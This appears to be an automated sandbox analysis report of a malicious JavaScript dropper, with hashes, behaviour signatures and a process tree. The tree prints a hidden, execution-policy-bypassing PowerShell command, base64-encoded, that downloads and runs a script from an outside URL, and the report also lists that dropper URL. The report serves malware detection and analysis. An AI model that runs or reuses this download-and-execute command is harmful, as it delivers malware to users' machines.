Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2023 03:42

General

  • Target

    5d2c419ce3e648c764e8d5c9fc8211e3.js

  • Size

    296KB

  • MD5

    5d2c419ce3e648c764e8d5c9fc8211e3

  • SHA1

    2b986638a0e7d4943db5af2da30e7b8e8ed95de8

  • SHA256

    6a66bae7e65bf9796ce704eb5bd6515bfac42c0508b3d9cc1cc9e02987e728a6

  • SHA512

    30ec89442176ce58d6db9af522c6f17c17784c4a0d3d8103b9f4383244b65cb8fd485220e94f5bd1fcb189ffc2c59da03b769e1df7dd4baece4a702618baa74f

  • SSDEEP

    6144:0kOBFat5zESWgb2XxlIxkFzc/Og1M6C4THGYqgCMw+v:0kOWb2UxcoMKIVM/

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://quickdrive.ae/js/JS000082510952000/dll/assistant.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\5d2c419ce3e648c764e8d5c9fc8211e3.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBxAHUAaQBjAGsAZAByAGkAdgBlAC4AYQBlAC8AagBzAC8ASgBTADAAMAAwADAAOAAyADUAMQAwADkANQAyADAAMAAwAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBxAHUAaQBjAGsAZAByAGkAdgBlAC4AYQBlAC8AagBzAC8ASgBTADAAMAAwADAAOAAyADUAMQAwADkANQAyADAAMAAwAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1468

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gnjjl3qd.4ma.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1468-1-0x00000273DF7B0000-0x00000273DF7D2000-memory.dmp

    Filesize

    136KB

  • memory/1468-11-0x00007FFCD62C0000-0x00007FFCD6D81000-memory.dmp

    Filesize

    10.8MB

  • memory/1468-13-0x00000273DF7E0000-0x00000273DF7F0000-memory.dmp

    Filesize

    64KB

  • memory/1468-12-0x00000273DF7E0000-0x00000273DF7F0000-memory.dmp

    Filesize

    64KB

  • memory/1468-14-0x00000273DF7E0000-0x00000273DF7F0000-memory.dmp

    Filesize

    64KB

  • memory/1468-17-0x00007FFCD62C0000-0x00007FFCD6D81000-memory.dmp

    Filesize

    10.8MB